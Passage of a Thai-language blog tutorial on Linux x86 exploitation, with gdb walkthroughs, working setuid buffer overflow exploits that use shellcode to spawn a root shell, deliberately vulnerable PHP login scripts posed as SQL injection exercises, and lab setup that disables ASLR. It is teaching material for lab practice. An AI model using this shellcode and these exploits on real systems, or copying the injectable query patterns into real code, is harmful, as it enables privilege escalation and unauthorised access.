   0x08048402 <+30>:    mov    %edx,0x4(%esp)
   0x08048406 <+34>:    mov    %eax,(%esp)
   0x08048409 <+37>:    call   0x8048310 <__isoc99_sscanf@plt>
... # ขอละ
(gdb) b *0x080483fa
Breakpoint 1 at 0x80483fa
(gdb) r `perl -e 'print "U"x200'`
Starting program: /home/worawit/tutz/ch06/ex_06_4 `perl -e 'print "U"x200'`

Breakpoint 1, 0x080483fa in main ()
(gdb) i f
Stack level 0, frame at 0xbffff650:
 eip = 0x80483fa in main; saved eip 0x154bd6
 Arglist at 0xbffff648, args:
 Locals at 0xbffff648, Previous frame s sp is 0xbffff650
 Saved registers:
  ebp at 0xbffff648, eip at 0xbffff64c  # <== ดู address ของ saved eip ตรงนี้
(gdb) q

ได้ address เริ่มของ shellcode เราแล้วคือ 0xbffff64c+4=0xbffff650 แต่สังเกตกันหรือเปล่าว่า buf อยู่ที่ address esp+0x19 จากที่ผมให้ลองก่อนจบในแบบฝึกหัดที่1 เพื่อให้เห็นเราต้องเขียนทับตัว saved eip ให้ตรงพอดี ดังนั้นเราจะต้องใส่ขยะลงไป 3 bytes เพื่อเลื่อนให้ address ที่เราจะเขียนทับ saved eip ตรงพอดี ตามรูป (ถ้าไม่เข้าใจ ลองใช้ gdb ช่วยดูค่าใน memory นะครับ)

ดังนั้น exploit ของเราจะเป็น

$ ./ex_06_4 `perl -e 'print "UUU" . "\x50\xf6\xff\xbf"x10 . "\x90"x200 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

มีใครสงสัยมั้ยครับ ว่าทำไมผมเปลี่ยน execve shellcode และถ้าใครลอง shellcode เดิมดูจะเจอกับ Segmentation fault ไม่ว่าจะทำยังไงก็ตาม

เหตุผลก็คือ เพราะ sscanf() ครับ ลองอ่าน man ดู (คำสั่ง "man sscanf") จะเห็นว่า sscanf() จะอ่านข้อมูลจนถึง white-space characters หรือจบ string (NULL) และไปดูต่อที่ man ของ isspace() จะได้ว่า white-space characters คือตัวอักษร 0x09-0x0d เมื่อเราไปดู shellcode เก่าของเรา จะเห็นว่ามี 0x0b อยู่ ตัวนี้แหละครับที่ทำให้ไม่ได้

ในการเขียน exploit เกือบจะทุกครั้งที่ต้องมีการหาตัวษรที่ใช้ไม่ได้ (เรียกว่า bad chars) เนื่องจากถ้าใส่ไปจะทำให้โปรแกรมรับข้อมูลเราไม่หมด หรือตัวอักษรโดนเปลี่ยนเป็นตัวอื่น ซึ่งผมจะมีการพูดถึงเรื่อง bad chars อีกครั้งในหัวข้อการเขียน Linux x86 Shellcode

Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 1)

หลังจากอ่านและลองทำตามมาแล้ว คราวนี้มาลองทำแบบฝึกหัดบ้าง ผมเขียนว่าแบบฝึกหัดแสดงว่า ถ้าใครอ่านมาตั้งแต่ต้นและเข้าใจ ก็น่าจะที่จะทำเองได้โดยไม่ต้องดูเฉลย (แต่ต้องคิดนิดหน่อย เพราะผมดัดแปลงแบบฝึกหัดนิดหน่อยให้ไม่เหมือนเดิม) มาดูแบบฝึกหัดข้อแรกกันเลยดีกว่า

แบบฝึกหัด1 (ex_06_3.c)

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_3 ex_06_3.c
sudo su -c "chown root: ex_06_3;chmod 4755 ex_06_3"
*/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buf[256];

  sprintf(buf, "%s", argv[1]);

  return 0;
}

ในแบบฝึกหัดนี้ ผมได้เปลี่ยน function จาก strcpy เป็น sprintf และผมได้เอา gcc option ออกไปตัวหนึ่งคือ -mpreferred-stack-boundary

option ที่ผมเอาออก คือกำหนดว่า stack alignment ว่าเป็นเท่าไร (ถ้าใครไม่เคยได้ยิน alignment อธิบายสั้นๆ ก็ byte alignment คืออยู่ที่ address ที่หารด้วย 1 ลงตัว word alignment คือที่หารด้วย 2 ลงตัว และ dword alignet คือหารด้วย 4 ลงตัว) โดยในตัวอย่างในหัวข้อก่อนหน้าผมได้ระบุว่าว่าเป็น 22=4 bytes แต่ครั้งนี้ให้เป็น default คือ 24=16 bytes ลอง disassemble ดูนะครับ จะเห็นความแตกต่าง

เฉลย

ก่อนจะเขียน exploit เรามาดูความแตกต่างจากการเอา option -mpreferred-stack-boundary ออกกันก่อนด้วย gdb

$ gdb -q ./ex_06_3
Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483c4 <+0>:     push   %ebp
   0x080483c5 <+1>:     mov    %esp,%ebp
   0x080483c7 <+3>:     and    $0xfffffff0,%esp  # เพิ่มขึ้นมาใน function prologue เพื่อทำ stack alignment
   0x080483ca <+6>:     sub    $0x110,%esp    # จากเดิมที่ลบ 8 bytes สำหรับส่ง argument กลายเป็น 16 bytes
   0x080483d0 <+12>:    mov    0xc(%ebp),%eax
   0x080483d3 <+15>:    add    $0x4,%eax
   0x080483d6 <+18>:    mov    (%eax),%eax
   0x080483d8 <+20>:    mov    %eax,0x4(%esp)
   0x080483dc <+24>:    lea    0x10(%esp),%eax  # เก็บ address ของ buf ไว้ที่ eax สังเกตว่าใช้ esp ไม่ได้ใช้ ebp
   0x080483e0 <+28>:    mov    %eax,(%esp)
   0x080483e3 <+31>:    call   0x80482fc <strcpy@plt>
   0x080483e8 <+36>:    mov    $0x0,%eax
   0x080483ed <+41>:    leave
   0x080483ee <+42>:    ret
End of assembler dump.
(gdb) q

จะเห็นว่า "and $0xfffffff0,%esp" เพื่อทำให้ address ของ esp หารด้วย 16 ลงตัว แล้วก็ทำ "sub $0x110,%esp" เพื่อจอง memory สำหรับ local variables และ argument ที่จะส่ง แต่จะมีการปัดค่าขึ้นให้หารด้วย 16 ลงตัว

การ and ค่า esp เพื่อทำ stack alignment ทำให้โปรแกรมไม่สามารถใช้ ebp เพื่ออ้างถึง local variables ได้ และที่มีผลกระทบต่อการเขียน exploit คือเราไม่รู้ว่า ระยะห่างจาก buf ไปถึง saved eip เป็นเท่าไร เพราะมันสามารถเปลี่ยนแปลงได้

วิธีง่ายๆ ในการแก้ปัญหานี้ก็คือ เราจะใส่ address ที่จะเขียบทับ saved eip ต่อท้าย shellcode เยอะๆ ขอแค่ address ซักอันเขียนทับ saved eip ก็พอ ตามรูป

เมื่อได้ concept แล้ว ก็ถึงเวลาทำจริง เริ่มจากการหา address ของ buf

$ gdb -q ex_06_3
Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done.
(gdb) b *0x080483e3
Breakpoint 1 at 0x80483e3
(gdb) r `perl -e 'print "U"x200'`
Starting program: /home/worawit/tutz/ch06/ex_06_3 `perl -e 'print "U"x200'`

Breakpoint 1, 0x080483e3 in main ()
(gdb) x/x $esp+0x10
0xbffff540:     0x0000002c
(gdb) q

ได้ address ของ buf คือ 0xbffff540 ก็ถึงเวลา exploit โดยผมจะใส่ address ของ buf ไปทั้งหมด 10 ครั้ง คือเขียนเกิน saved eip ไปเลย เพื่อให้แน่ใจว่าโดนเขียนทับแน่ๆ แต่ที่สำคัญที่สุดคือ address ของ buf ต้องเขียนทับตรง block ของ saved eip

# nop (206 bytes) + setreuid (10 bytes) + execve (24 bytes)
$ ./ex_06_3 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x40\xf5\xff\xbf"x10'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

ได้แล้ว ง่ายมั้ยครับ แต่ผมอยากให้ลองเพิ่มเองอีกหน่อยคือ แก้จำนวนของ nop ให้เป็น 207,208,209 ดู มันจะเกิด segmentation fault แล้วถ้าไม่เข้าใจว่าทำไม ก็ให้ลองทำใน gdb นะครับ

Monday, January 3, 2011

Buffer Overflow ให้โปรแกรม spawn shell

จากตัวอย่างในหัวข้อ "GDB เบื้องต้น" จะเห็นว่าถ้าเราใส่ input เข้าไปยาวๆ จะมีการเขียนทับ saved eip ด้วย หลังจากคำสั่ง strcpy ตามรูปข้างล่าง (เลขทั้งหมดเป็นฐาน 16 นะครับ) ทำให้หลังจากจบ function main แล้ว EIP ของโปรแกรมชี้ไปที่ 0x55555555 แสดงให้เห็นว่าเราสามารถสั่งให้โปรแกรมไปทำงานที่ไหนก็ได้ และก่อนจะเริ่มผมขอย้ำอีกครั้งว่าให้ทำตาม อย่าเอาแต่อ่าน เรื่องพวกนี้จะให้เก่งต้องทำนะครับ

Note: ค่า address ที่ผมแสดง เป็น address ที่อยู่ในเครื่องของผม ซึ่งอาจจะไม่ตรงกับเครื่องอื่นๆ ดังนั้น ถ้าเห็นว่าไม่ตรง ก็ต้องแก้ไขการใส่ค่า address ต่างๆ ด้วย

เรามาดูตัวอย่างแรกกัน (ex_06_1.c) วิธี compile อยู่ที่หัวของไฟล์ (ตั้งแต่นี้ไป ดูวิธี compile เอาเองที่หัวของไฟล์นะครับ)

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_06_1 ex_06_1.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int hidden_fn()
{
  printf("You WIN\n");
  exit(0);
}

int main(int argc, char **argv)
{
  char buf[8];

  printf("Address of hidden_fn: %p\n", hidden_fn);
  strcpy(buf, argv[1]);

  return 0;
}

เป้าหมายของตัวอย่างนี้ ชัดเจนนะครับ คือให้เรียก hidden_fn() ให้ได้ เรามาลอง gdb กันก่อน

$ gdb -q ./ex_06_1
Reading symbols from /home/worawit/tutz/ch06/ex_06_1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048482 <+0>:     push   %ebp
   0x08048483 <+1>:     mov    %esp,%ebp
   0x08048485 <+3>:     sub    $0x10,%esp
   0x08048488 <+6>:     mov    $0x8048588,%eax
   0x0804848d <+11>:    movl   $0x8048464,0x4(%esp)
   0x08048495 <+19>:    mov    %eax,(%esp)
   0x08048498 <+22>:    call   0x8048378 
   0x0804849d <+27>:    mov    0xc(%ebp),%eax
   0x080484a0 <+30>:    add    $0x4,%eax
   0x080484a3 <+33>:    mov    (%eax),%eax
   0x080484a5 <+35>:    mov    %eax,0x4(%esp)
   0x080484a9 <+39>:    lea    -0x8(%ebp),%eax   # โหลด address ของ buf ที่ address ebp-8
   0x080484ac <+42>:    mov    %eax,(%esp)
   0x080484af <+45>:    call   0x8048368 
   0x080484b4 <+50>:    mov    $0x0,%eax
   0x080484b9 <+55>:    leave
   0x080484ba <+56>:    ret
End of assembler dump.
(gdb) b *0x080484af    # set breakpoint ก่อนเรียก strcpy
Breakpoint 1 at 0x80484af
(gdb) r UUUUUUUU
Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUU
Address of hidden_fn: 0x8048464

Breakpoint 1, 0x080484af in main ()
(gdb) i f
Stack level 0, frame at 0xbffff710:
 eip = 0x80484af in main; saved eip 0x154bd6
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c     # จำ address ของ saved eip ไว้
(gdb) x/8x $ebp-8      # ดูค่าตั้งแต่ address ของ buf
0xbffff700:     0x080484d0      0x00000000      0xbffff788      0x00154bd6
0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858
(gdb) ni
0x080484b4 in main ()
(gdb) x/8x $ebp-8      # จะเห็นว่าถ้าจะเขียนทับ eip ต้องใส่ input ไปทั้งหมด 16 bytes
0xbffff700:     0x55555555      0x55555555      0xbffff700      0x00154bd6
0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858
(gdb) r UUUUUUUUUUUUABCD     # ลองดู
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUUUUUUABCD
Address of hidden_fn: 0x8048464

Breakpoint 1, 0x080484af in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r eip    # จะเห็นค่า eip เปลี่ยนเป็น 0x44434241 คือ DCBA เพราะเรื่องของ endian
eip            0x44434241       0x44434241
(gdb) q
A debugging session is active.

        Inferior 1 [process 1413] will be killed.

Quit anyway? (y or n) y

จะเห็นว่าถ้าต้องการเปลี่ยนค่า saved eip ต้องใส่ข้อมูลอย่างน้อย 16 bytes โดยข้อมูล byte ที่ 12 ถึง 16 จะเป็น saved eip ที่เราต้องการจะเป็น

จาก output ของโปรแกรม address ของ hidden_fn คือ 0x8048464 แต่ตัวอักษรของค่าพวกนี้ เราพิมพ์ไม่ได้ ดังนั้นผมจะใช้ perl มาช่วย โดยจะได้คำสั่งตามนี้

$ ./ex_06_1 `perl -e 'print "U"x12 . "\x64\x84\x04\x08"'`
Address of hidden_fn: 0x8048464
You WIN

เย่ ทำได้แล้ว ให้สังเกตเรื่อง endian ด้วยนะครับ ว่าผมใส่ \x64 เป็นตัวแรก และ \x08 เป็นตัวสุดท้าย

ตัวอย่างข้างบน เราได้ทำให้โปรแกรมรัน function ที่ซ่อนไว้อยู่ แต่โดยปกตินั้น เราต้องมีการแทรก code ที่ทำงานตามที่เราต้องการ (เรียกว่า shellcode) แล้วเรียก shellcode ของเรา โดยการควบคุมค่า eip

แต่คราวนี้ผมขอเปลี่ยนขนาดของ buf เป็น 256 bytes (ex_06_2.c) (ไม่แสดง code นะครับ จะได้ไม่ยาวเกิน) และให้ 2 shellcode ต่อไปนี้ (จะมีคำอธิบายพร้อมทั้งทำให้เล็กลงในหัวข้อการเขียน Linux Shellcode)

# setreuid(0, 0)  10 bytes
\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80
# execve("/bin/sh", { "/bin/sh", NULL }, NULL) 24 bytes (เอามาจากไหนไม่รู้ จำไม่ได้แล้ว)
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80

หลังจาก compile อย่าลืมคำสั่งต่อไปนี้นะครับ

$ sudo su -c "chown root: ex_06_2;chmod 4755 ex_06_2"

ก่อนจะเริ่มทำ ลองคิดตามผมดูว่า ครั้งนี้เราต้องทำการแทรก shellcode (inject shellcode) แล้วเปลี่ยนค่า eip ไปที่ shellcode ของเรา แล้วเราจะ inject shellcode ไปที่ไหนดี

ที่เห็นชัดเจนที่สุดก็คือที่ buf ในโปรแกรมนั้นแหละ (จริงๆ แล้วที่ไหนก็ได้ใน memory) แล้ว buf มัน address อะไรละ อย่างงี้เราต้องมา gdb หากัน ลุย

$ gdb -q ./ex_06_2
Reading symbols from /home/worawit/tutz/ch06/ex_06_2...(no debugging symbols found)...done.
(gdb) disas main
... # ขอละ จะได้ไม่ยาว
   0x080483d9 <+21>:    lea    -0x100(%ebp),%eax   # buf อยู่ที่ ebp+100
   0x080483df <+27>:    mov    %eax,(%esp)
   0x080483e2 <+30>:    call   0x80482fc 
... # ขอละ จะได้ไม่ยาว
(gdb) b *0x080483e2
Breakpoint 1 at 0x80483e2
(gdb) r AAAA
Starting program: /home/worawit/tutz/ch06/ex_06_2 AAAA

Breakpoint 1, 0x080483e2 in main ()
(gdb) x/x $ebp-0x100
0xbffff608:     0x00000006    # ได้ address ของ buf มาแล้ว 0xbffff608
(gdb) q
... # ขอละ จะได้ไม่ยาว

เราได้ข้อมูลทุกอย่างแล้ว buf ที่ address 0xbffff608 และ saved eip อยู่ห่างจาก buf 256+4=260 bytes (4 bytes คือ saved ebp) และ shellcode เราก็มีแล้ว แค่เอามาต่อกัน (ใน bash ต้องมีการเรียก setreuid ก่อน execve เพราะ bash จะ set ค่า euid เป็น uid ก่อนทำ execve) ตามนี้

# setreuid 10 bytes + execve 24 bytes + junk (260-10-24=226)
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`
Segmentation fault

เอะ ทำไม??? เกิดอะไรขึ้น เรามาลองเอา suid bit ออกไปก่อน แล้วมาลองให้มี core dump ดูดีกว่า แล้วใช้ gdb ดู

$ sudo chmod 755 ex_06_2     # ถ้ามี suid bit อยู่จะไม่มี core dump
$ ulimit -c unlimited        # enable core dump เฉพาะ terminal นี้
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`
Segmentation fault (core dumped)
$ gdb -q -c core
[New Thread 1852]
Core was generated by `./ex_06_2 1▒1▒1ɰF̀1▒Phn/shh//bi▒▒RS▒▒                                                           ̀UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU`.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff640 in ?? ()
(gdb) x/4x 0xbffff608    # ทำไม address นี้เป็นขยะไปละ แล้ว shellcode เราอยู่ไหน
0xbffff608:     0x55555555      0x55555555      0x55555555      0x55555555
(gdb) x/8x 0xbffff608-208  # เจอแล้วที่ address 0xbffff538
0xbffff538:     0xdb31c031      0x46b0c931      0xc03180cd      0x2f6e6850
0xbffff548:     0x2f686873      0x8969622f      0x535299e3      0x0bb0e189
(gdb) q

เกิดอะไรขึ้น ทำไม buf กลายเป็นอยู่ที่ address 0xbffff538 ขอตอบสั้นๆ เพราะ argv และ env ที่ run ด้วย gdb กับจาก shell ตรงๆ มันไม่เหมือนกัน ทำให้ address ของตัวแปรต่างๆ ใน stack ถูกเปลี่ยน งั้นเราลองอีกทีด้วย address ใหม่

$ sudo chmod 4755 ex_06_2
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x38\xf5\xff\xbf"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

ได้แล้ว กลายเป็น root แล้ว :) แต่เห็นปัญหามั้ยครับ ว่าเราต้องใส่ address ของ buf ให้มันตรงเป๊ะ อย่างงี้เปลี่ยนเครื่อง exploit เราก็อาจจะทำงานผิดพลาด

ยังจำ NOP (0x90) ในหัวข้อ assembly ได้มั้ยครับ การใส่ NOP เป็นวิธีหนึ่งที่ทำให้ exploit มี reliable มากขึ้น โดยแทนที่จะให้มีขยะต่อท้าย shellcode เราจะใส่ NOP sled ไว้ก่อน shellcode ดังนั้นค่า saved eip ที่เราเปลี่ยน ขอแค่ชี้ไปที่ address ไหนก็ได้ใน NOP sled โปรแกรมก็จะ run shellcode ของเรา (ในกรณีนี้ เราต้องมีขยะต่อท้ายอย่างน้อย 16 bytes เพื่อเว้นที่ให้ shellcode ของเราเก็บค่าต่างๆ แต่ผมเว้นไว้ 20 bytes) ตามรูปข้างล่าง

$ ./ex_06_2 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x20 . "\x08\xf6\xff\xbf"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

จะเห็นว่า ครั้งนี้ผมใช้ address เดิมที่หาได้จาก gdb ครั้งแรก ก็ยังทำงานได้ เย่ๆ ทำได้แล้ว (อย่างน้อยก็แบบที่ง่ายที่สุด)

ก่อนจะไปหัวข้อถัดไป ผมขอให้ลองเปลี่ยน address ที่จะเขียนทับ saved eip ลองดูว่า exploit ที่มี NOP ยังทำงานได้ปกติกับหลายๆ address และให้ลองเอา shellcode setreuid ออก แล้วดูความแตกต่างระหว่างมีกับไม่มี (แก้แล้ว ต้องแก้จำนวน nop หรือ ขยะด้วยนะครับ)

Saturday, January 1, 2011

PHP Login กับ SQL Injection (คำถาม)

สวัสดีปีใหม่ ปีใหม่ทั้งที หาอะไรเล่นสนุกๆ ดีกว่า วันนี้ผมมีปัญหามาให้ทำเกี่ยวกับ sql injection 4 ข้อ เริ่มกันเลยดีกว่า

เหมือนครั้งที่แล้ว setup web server กับ mysql เอาเองนะครับ โดยใน mysql ให้สร้าง db ชื่อว่า thtutz แล้วก็ table ชื่อ members โดยมี column id, username, password แล้วใส่ user เข้าไปอย่างน้อย 2 users นะครับ ผมได้เตรียม sql batch ไว้แล้ว (db_setup.sql) แค่ run ด้วย mysql root

หลังจาก create table ใน mysql server แล้วก็เอา php code ต่อไปนี้ ไปลองทำ sql injection ดูนะครับ

ข้อ 1 (login_sqli1.php) อันนี้ทดสอบ basic

<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE password='".md5($_GET['password'])."' AND username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    echo "Congrats, WIN!!!\n";
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 2 (login_sqli2.php) อันนี้ warm up

<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    $row = mysql_fetch_array($result);
    if ($row['password'] == md5($_GET['password'])) {
        echo "Congrats, WIN!!!\n";
    }
    else {
        echo "Invalid username or password\n";
    }
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 3 (login_sqli3.php) ข้อนี้ยากที่สุดที่ผมคิดได้ เกี่ยวกับ login โดยไม่มีการทำ filter

<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    $row = mysql_fetch_array($result);
    if ($row['username'] == $_GET['username'] && $row['password'] == md5($_GET['password'])) {
        echo "Impossible to be here with SQL injection\n";
        echo "Congrats, WIN!!!\n";
    }
    else {
        echo "Invalid username or password\n";
    }
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 4 (login_sqli4.php) เอาความคิดมาจาก LEETMORE CTF 2010

<?php
// idea from LEETMORE ctf 2010

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = 'SELECT * FROM members WHERE password="' . md5($_GET['password'], true) . '"';
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) > 0) {
    echo "Congrats, WIN!!!\n";
}
else {
    echo "Incorrect password\n";
}

mysql_close($db);

คราวนี้ใจดีมี hint ให้ หวังว่าจะช่วยได้

็Hint:
1. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
2. google

ใช้เวลากับมันหน่อยนะครับ (ข้อ3 กับ ข้อ4) เพราะผมเองก็ต้องทำเป็นชั่วโมง (ตั้งโจทย์เองแท้ๆ)

ครั้งนี้ ผมให้เวลา 2-3 สัปดาห์ แล้วค่อยเฉลย เหมือนเดิมทำได้แล้วอย่า post เฉลยนะครับ

Update: ผมได้ publish เฉลยแล้วนะครับ ถ้าคิดไม่ออกแล้วก็ กดเลยครับ

เตรียม Ubuntu สำหรับการเขียน exploit บน Linux

หัวข้อนี้ ถ้าใครเพิ่งเริ่มสามารถข้ามไปอ่านเนื้อหาก่อนได้เลย แต่แนะนำให้ทำก่อนเริ่มหัวข้อที่ 5.GDB เบื้องต้น

วิธีการลง Ubuntu ขอให้หาวิธีการลงเอาเอง ผมจะพูดถึงขั้นตอนหลังคุณ login เข้า Ubuntu ได้แล้ว แต่ตามที่ผมได้กล่าวไว้ในหัวข้อ "Buffer Overflow คืออะไร" ว่าแนะนำให้ลง Ubuntu 10.04 ใน Virtual Machine โดยโปรแกรมฟรีที่คนส่วนมากใช้กันก็มี VMWare Player กับ VirtualBox

ขั้นตอนก็มีสั้นๆ ตามนี้

1. Disable ASLR แบบ ถาวร
เพิ่ม "kernel.randomize_va_space = 0" เข้าไปใน /etc/sysctl.conf แล้วพิมพ์คำสั่ง

$ sudo sysctl -p

2. ลงโปรแกรมสำหรับ compile
พิมพ์คำสั่ง

$ sudo apt-get install build-essential binutils

3. ลง gcc3.4
พิมพ์คำสั่ง

$ sudo add-apt-repository ppa:yofel/off-ppa
$ sudo apt-get install gcc-3.4

จริงๆ แล้ว น่าจะต้องลงโปรแกรมมากกว่านี้นะครับ แต่ผมจำไม่ได้แล้ว เพราะ Ubuntu ของผมลงไปเยอะมากแล้ว เอาเป็นว่าถ้าเจอคำสั่งไหนที่ Ubuntu บอกว่าให้ลงโปรแกรมเพิ่ม ก็ลงตามที่ Ubuntu แนะนำนะครับ

GDB เบื้องต้น

GDB คือ debugger โดยปกติ programmer จะใช้สำหรับช่วยในการแก้ bug ด้วยการดูค่าของตัวแปรต่างๆ ที่บรรทัดต่างๆ ของ code แต่ในมุมมองของ hacker ตัว debugger นั้น ช่วยให้เข้าใจโปรแกรม และช่องโหว่ของโปรแกรม และเราจะได้ใช้ gdb ไปตลอด tutorial นี้ โดยหัวข้อนี้ ผมตั้งใจให้คนที่ไม่เคยใช้ gdb ได้เห็นคำสั่งต่างๆ และได้ลองนิดหน่อย (ไม่ต้องให้คล่องนะครับ ต้องได้ใช้อีกเยอะ เดี๋ยวก็จำได้เอง)

ก่อนจะเริ่ม debug ก็ต้องสั่ง gdb แล้วเราจะเข้าไปในอยู่ใน gdb แล้วสั่งคำสั่งเพื่อตรวจสอบ process ได้ โดย gdb มีรูปแบบของ parameter ที่สำคัญตามนี้

# debug โปรแกรม prog
$ gdb ./prog
# ตรวจสอบ core dump file (มีหลายรูปแบบ)
$ gdb ./prog core
$ gdb -c core ./prog
$ gdb -c core
# ส่งโปรแกรม prog arguments เข้าไปด้วย (มีหลายรูปแบบ)
$ gdb --args ./prog arg1 arg2
# attach เข้าไปใน process ที่ run อยู่ (สมมติว่า pid คือ 1234) (มีหลายรูปแบบ)
$ gdb ./prog 1234
$ gdb -p 1234

ส่วน parameter อื่นๆ ให้หาอ่านเองนะครับ ง่ายสุดก็ man gdb

หลังจากสั่ง gdb ก็จะเจอ gdb prompt โดยมีคำสั่งต่างๆ ที่ใช้บ่อยๆ สำหรับการเขียน exploit ตามนี้ (ADDR ในตารางข้างล่าง สามารถใช้ register แทนได้เช่น $eax, $esp)

คำสั่งเต็มคำสั่งย่อคำอธิบาย
runrเริ่มโปรแกรม
killkหยุดโปรแกรม
quitqออกจาก GDB
continuecทำงานต่อโดยหยุดที่ breakpoint ถัดไป
disassembledisasแสดง assembly code ของ function ที่ EIP อยู่
disassemble ADDRdisas ADDRแสดง assembly code ที่ address ADDR (ใช้ชื่อ function ได้)
disassemble ADDR1 ADDR2disas ADDR1 ADDR2แสดง assembly code ที่ address ADDR1 ถึง ADDR2
info breakpointsi bแสดง breakpoint ทั้งหมด
info registersi rแสดงค่าของ CPU registers ทั้งหมด
info framei fแสดงข้อมูลเกี่ยวกับ stack frame ปัจจุบัน
backtracebtแสดง call stack
break *ADDRb *ADDRset breakpoint ที่ address ADDR (ถ้าใช้ชื่อ function ไม่ต้องมี *)
enable [NUM]en [NUM]enable breakpoint หมายเลขที่ NUM
disable [NUM]dis [NUM]disable breakpoint หมายเลขที่ NUM
delete [NUM]d [NUM]delete breakpoint หมายเลขที่ NUM
deleteddelete breakpoint ทั้งหมด
nexti [num]ni [num]ทำงานคำสั่งถัดไป ไม่เข้าไปใน call
stepi [num]si [num]ทำงานคำสั่งถัดไป เข้าไปใน call
x/NFU ADDRแสดงค่าของ address ADDR โดย
N คือจำนวนที่จะแสดงผล
F คือรูปแบบที่จะแสดงผล (ดูตารางถัดไป)
U คือจำนวน byte มี b (byte), h (2 bytes), w (4 bytes), g (8 bytes)
display/F ADDRdisp/F ADDRแสดงค่าของ address ADDR ทุกครั้งที่ถึงหยุดทำงานชั่วคราว
displaydispแสดงค่าที่อยู่ใน display list ทั้งหมด
undisplay [NUM]und [NUM]ลบ display ที่เก็บไว้ที่ NUM
set ADDR=VALset ค่า VAL ไปที่ address ADDR

